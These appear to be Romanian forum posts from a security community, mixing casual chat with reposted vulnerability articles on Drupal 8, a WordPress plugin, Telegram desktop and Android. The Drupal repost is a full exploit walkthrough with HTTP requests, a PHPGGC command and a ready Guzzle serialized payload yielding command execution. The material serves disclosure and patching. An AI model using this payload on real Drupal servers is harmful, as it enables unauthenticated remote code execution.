usrnm

Era interesanta si adresa de mail cu care s-a inregistrat 😎

carderi nu zic ca nu sunt, dar faza cu asasinii...v-a intrat un mit in cap, ca pe tor sunt asasini, satanisti, taxiuri negre, cica si Dan Spataru intra live cu Dolanescu din cand in cand. Realitatea e ca se invart doar copii curiosi si tepari p-acolo. Cate un dealer mai rasare si dispare, hitmeni d-astia care dau refresh la pagina din minut in minut sa vada daca le-au intrat mesaje de la clienti...🐼

cioace d-astea inca mai functionau acum 7-8 ani 🤣

sursa:https://www.ambionics.io/blog/drupal8-rce Once again, an RCE vulnerability emerges on Drupal's core. This time it is targeting Drupal 8's REST module, which is present, although disabled, by default. By making use of the patch provided by Drupal, we were able to build a working exploit; furthermore, we discovered that the immediate remediation proposed for the vulnerability was incomplete, which could lead to a false sense of security. We therefore decided to release our findings, along with an exploit POC. Analyzing the advisory Drupal's advisory is fairly clear about the culprit: the REST module, if enabled, allows for arbitrary code execution. Nevertheless, as we're going to see, the indication that PATCH or POST requests must be enabled is wrong. The RCE is triggerable through a GET request, and without any kind of authentication, even if POST/PATCH requests are disabled in the REST configuration. The recommandation to "not allow PUT/PATCH/POST requests to web services resources" is therefore incorrect, and does not protect from the vulnerability. Upgrading your Drupal, or disabling the REST module, is ATM the only solution. Standard REST behaviour... The /node/{id} API is enabled by default when the REST module is enabled. Drupal's REST documentation provides a simple example to edit a node: POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.56.101 Content-Type: application/hal+json Content-Length: 286 { "_links": { "type": { "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article" } }, "type": { "target_id": "article" }, "title": { "value": "My Article" }, "body": { "value": "some body content aaa bbb ccc" } } In this case, Drupal will create properties title, type, and body for a Node object. In effect, Drupal can json-deserialize any ContentEntityBase object. As expected, since we're not authenticated, the request fails. ... and unexpected behaviour Nevertheless, by changing POST to GET, and sending an invalid href value, like so: GET /drupal-8.6.9/node/3?_format=hal_json HTTP/1.1 Host: 192.168.56.101 Content-Type: application/hal+json Content-Length: 287 { "_links": { "type": { "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/INVALID_VALUE" } }, "type": { "target_id": "article" }, "title": { "value": "My Article" }, "body": { "value": "some body content aaa bbb ccc" } } we obtain: HTTP/1.1 422 Unprocessable Entity {"message":"Type http:\/\/192.168.56.101\/drupal-8.6.9\/rest\/type\/node\/INVALID_VALUE does not correspond to an entity on this site."} This indicates that the data is processed even through unauthenticated GET requests. Analyzing the patch By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);. As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link. Triggering the unserialize() Having all these elements in mind, triggering an unserialize is fairly easy: GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.1.25 Content-Type: application/hal+json Content-Length: 642 { "link": [ { "value": "link", "options": "<SERIALIZED_CONTENT>" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } } Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC: $ ./phpggc guzzle/rce1 system id --json "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" We can now send the payload via GET: GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1 Host: 192.168.1.25 Content-Type: application/hal+json Content-Length: 642 { "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } } To which Drupal responds: HTTP/1.1 200 OK Link: <...> X-Generator: Drupal 8 (https://www.drupal.org) X-Drupal-Cache: MISS Connection: close Content-Type: application/hal+json Content-Length: 9012 {...}uid=33(www-data) gid=33(www-data) groups=33(www-data) Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.

Plus ca ii explica sarbului cum e cu tiganii pe la noi, cand la aia tiganii fac legea...daca nici sarbul nu stie cum arata un tigan...🐼

Software Overview WordPress plugin Simple Social Buttons is a popular free and paid plugin that brings the ability to add social media sharing buttons on the sidebar, inline, above and below the content of the post, on photos, popups, fly-ins. The plugin has over 40,000+ active installations according to WordPress Plugin repository and over 500,000 downloads according to plugin vendor WPBrigade. Vulnerability Description Improper application design flow, chained with lack of permission check resulted in privilege escalation and unauthorized actions in WordPress installation allowing non-admin users, even subscriber user type to modify WordPress installation options from the wp_options table. As can be seen from the screenshot, a function would iterate through JSON object provided in the request and update all options with option_name from object key and option_value from a key value without checking whether the current user has permission to manage options or provided option_name belongs to that plugin. sursa:https://www.webarxsecurity.com/wordpress-plugin-simple-social-buttons/

Pai am mers pe buna-credinta, il cred persoana serioasa si cu intentii bune 😁

mai nasol daca erau cacareze mici si negre, alea au criptare avansata! Mergand pe ideea ca ai uitat ce ai pus la bilutele negre, cel mai simplu este sa resetezi camera si o reconfigurezi. mult mai simplu decat sa faci pe hackerul

ii dati prea multa atentie, asta trebuie ignorat...

Mereu am spus ca Telegram e de cacat..de fapt in afara de Signal, cam toate aplicatiile de genul asta sunt de cacat: articol complet The desktop version of the security and privacy-focused, end-to-end encrypted messaging app, Telegram, has been found leaking both users' private and public IP addresses by default during voice calls. With 200 million monthly active users as of March 2018, Telegram promotes itself as an ultra-secure instant messaging service that lets its users make end-to-end encrypted chat and voice call with other users over the Internet. Security researcher Dhiraj Mishra uncovered a vulnerability (CVE-2018-17780) in the official Desktop version of Telegram (tdesktop) for Windows, Mac, and Linux, and Telegram Messenger for Windows apps that was leaking users' IP addresses by default during voice calls due to its peer-to-peer (P2P) framework. To improve voice quality, Telegram by default uses a P2P framework for establishing a direct connection between the two users while initiating a voice call, exposing the IP addresses of the two participants. Telegram Calls Could Leak Your IP Address However, just like Telegram provides the 'Secret Chat' option for users who want their chats to be end-to-end encrypted, the company does offer an option called "Nobody," which users can enable to prevent their IP addresses from being exposed during voice calls. Enabling this feature will cause your Telegram voice calls to be routed through Telegram's servers, which will eventually decrease the audio quality of the call. However, Dhiraj found that this Nobody option is only available to mobile users, and not for Telegram for Desktop (tdesktop) and Telegram Messenger for Windows apps, revealing the location of all desktop users regardless of how careful they might be otherwise. To get an IP address of someone, all an attacker needs to do is initiate a call. As soon as the recipients pick a call, the flaw will reveal their IP address. Dhiraj reported his findings to the Telegram team, and the company patched the issue in both 1.3.17 beta and 1.4.0 versions of Telegram for Desktop by providing an option of setting your "P2P to Nobody/My Contacts." Users can enable the option by heading towards Settings → Private and Security → Voice Calls → Peer-To-Peer to Never or Nobody. Dhiraj was also awarded a €2,000 (about $2,300) bug bounty for finding and responsibly disclosing the issue to the company. Leaking of IP addresses for an app that's meant to be secured is a real concern and does serve as a reminder that you can't blindly depend on even the most secure and privacy-focused services.

Multiple vulnerabilities have been discovered in the Google Android operating system (OS), the most severe of which could allow for remote code execution. Android is an operating system developed by Google for mobile devices, including, but not limited to, smartphones, tablets, and watches. Successful exploitation of the most severe of these vulnerabilities could allow for remote code execution within the context of a privileged process. Depending on the privileges associated with this application, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. If this application has been configured to have fewer user rights on the system, exploitation of the most severe of these vulnerabilities could have less impact than if it was configured with administrative rights. Multiple vulnerabilities have been discovered in Google Android OS, the most severe of which could allow for remote code execution within the context of a privileged process. Details of these vulnerabilities are as follows: Multiple remote code execution vulnerabilities in Media Framework (CVE-2017-13228, CVE-2017-13230). An information disclosure vulnerability in Media Framework (CVE-2017-13232). An elevation of privilege vulnerability in Media Framework (CVE-2017-13231). Multiple denial of service vulnerabilities in Media Framework (CVE-2017-13230, CVE-2017-13233, CVE-2017-13234). An elevation of privilege vulnerability in System (CVE-2017-13236). An information disclosure vulnerability in HTC components (CVE-2017-13238). An elevation of privilege vulnerability in HTC components (CVE-2017-13247). Multiple elevation of privilege vulnerabilities in Kernel components (CVE-2017-15265, CVE-2015-9016, CVE-2017-17770). Multiple elevation of privilege vulnerabilities in NVIDIA components (CVE-2017-6279, CVE-2017-6258). Multiple remote code execution vulnerabilities in Qualcomm components (CVE-2017-15817, CVE-2017-17760). Multiple elevation of privilege vulnerabilities in Qualcomm components (CVE-2017-11041, CVE-2017-17767, CVE-2017-17765, CVE-2017-17762, CVE-2017-14884, CVE-2017-15829, CVE-2017-15820, CVE-2017-17764, CVE-2017-17761). A vulnerability in the Qualcomm closed-source components (CVE-2017-14910). Successful exploitation of the most severe of these vulnerabilities could allow for remote code execution in the context of a privileged process. These vulnerabilities could be exploited through multiple methods such as email, web browsing, and MMS when processing media files. Depending on the privileges associated with the application, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. If this application has been configured to have fewer user rights on the system, exploitation of the most severe of these vulnerabilities could have less impact than if it was configured with administrative rights. Sursa: link

Eu cred ca nu aveau 18 milioane, asa umfla astia "preturile", sa para arestarea mai pompoasa si sa isi justifice si ei resursele..acum vreo 2 saptamani citeam ca olandezii, sau nu mai stiu care, au dat jos un webstresser, erau niste pusti de 19 ani care se laudau pe Facebook de ce grozavie fac. Atat se umflau in pene, de parca au prins spioni rusi. Pe de alta parte, daca in hartii sunt trecuti 18 milioane, 2-3 tot au facut pe bune, era suficient sa isi vada de treaba, dar romanul lacom...

A fost baiat istet de mic! 😉

shinjiru, cu toate ca prin review-uri multi se plang ca nu sunt foarte fiabili (nu am incercat, spun din auzite)